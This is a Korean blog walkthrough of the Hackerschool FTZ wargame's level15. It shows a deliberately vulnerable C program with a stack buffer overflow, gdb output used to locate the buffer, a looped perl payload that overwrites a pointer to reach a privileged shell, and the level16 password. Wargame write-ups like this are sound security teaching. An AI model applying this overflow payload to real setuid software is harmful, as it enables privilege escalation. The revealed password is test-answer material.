본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level15 -> level16 ) by ORANG

FTZ_level15

 

 [level15@ftz level15]$ bash2

[level15@ftz level15]$ cat hint

 

#include <stdio.h>

 

main()

{ int crap;

  int *check;

  char buf[20];

  fgets(buf,45,stdin);

  if (*check==0xdeadbeef)

   {

     setreuid(3096,3096);

     system("/bin/sh");

   }

}

 

이번에도 bash2를 띄우고!! 힌트를 보겠습니다

level14와 아주 비슷하지만 check 가 포인터로 되어있네요ㅎㅎ

0xdeadbeef를 넣어주고, 그 주소를 가리키도록 바꾸어 공격해보겠습니다.

 

메모리 구조를 그리는 과정은 level14와 같으므로 생략하겠습니다.

buf 의 시작 주소가 필요하겠네요ㅎㅎ 찾아보겠습니다.


 

RET [4]

SFP [4]

crap [4] + dummy [4]

* check [4]

dummy [20]

buf [20]

 

 (gdb) disas main

Dump of assembler code for function main:

0x08048490 <main+0>: push   %ebp

0x08048491 <main+1>: mov    %esp,%ebp

0x08048493 <main+3>: sub    $0x38,%esp

0x08048496 <main+6>: sub    $0x4,%esp

0x08048499 <main+9>: pushl  0x8049664

0x0804849f <main+15>: push   $0x2d

0x080484a1 <main+17>: lea    0xffffffc8(%ebp),%eax

0x080484a4 <main+20>: push   %eax

0x080484a5 <main+21>: call   0x8048360 <fgets>

0x080484aa <main+26>: add    $0x10,%esp

…생략…


 

 

fgets 함수를 통해 buf에 입력을 받은 직후인 main+26에 브레이크 포인트를 걸고

buf의 시작 주소를 찾아보겠습니다.

 

 (gdb) b * main+26

Breakpoint 1 at 0x80484aa

(gdb) r

Starting program: /home/level15/tmp/attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

Breakpoint 1, 0x080484aa in main ()

(gdb) x/50x $esp

0xbffff5b0: 0xbffff5c0 0x0000002d 0x4212ecc0 0x00000000

0xbffff5c0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff5d0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff5e0: 0x41414141 0x41414141 0x41414141 0x08048300

0xbffff5f0: 0x4200af84 0x42130a14 0xbffff618 0x42015574

0xbffff600: 0x00000001 0xbffff644 0xbffff64c 0x4001582c

0xbffff610: 0x00000001 0x08048390 0x00000000 0x080483b1

0xbffff620: 0x08048490 0x00000001 0xbffff644 0x08048308

0xbffff630: 0x08048520 0x4000c660 0xbffff63c 0x00000000

0xbffff640: 0x00000001 0xbffffc27 0x00000000 0xbffffc42

0xbffff650: 0xbffffc60 0xbffffc70 0xbffffc81 0xbffffc8f

0xbffff660: 0xbffffca2 0xbffffcaf 0xbffffe72 0xbffffe8f

0xbffff670: 0xbffffedf 0xbffffef4

 

 

 

buf의 시작 주소는 0xbffff5c0이네요ㅎㅎ

buf에 nop + 0xdeadbeef를 넣어 준후에 check 포인터의 주소값을 buf의 시작주소로 바꾸겠습니다.

랜덤스택이 적용되어 있을테니 반복은 필수!!

 

 [level15@ftz tmp]$ while  [ 1 ]; do (perl -e 'print "\x90"x16,"\xef\xbe\xad\xde", "\x90"x20,  "\xc0\xf5\xff\xbf"'; cat) | ./attackme; done

 

 

 

 

…생략…

 

 

 

id

uid=3096(level16) gid=3095(level15) groups=3095(level15)

 

 

 

my-pass

 

Level16 Password is "about to cause mass".

 

어느 순간 level16의 셸을 획득했습니다ㅎㅎ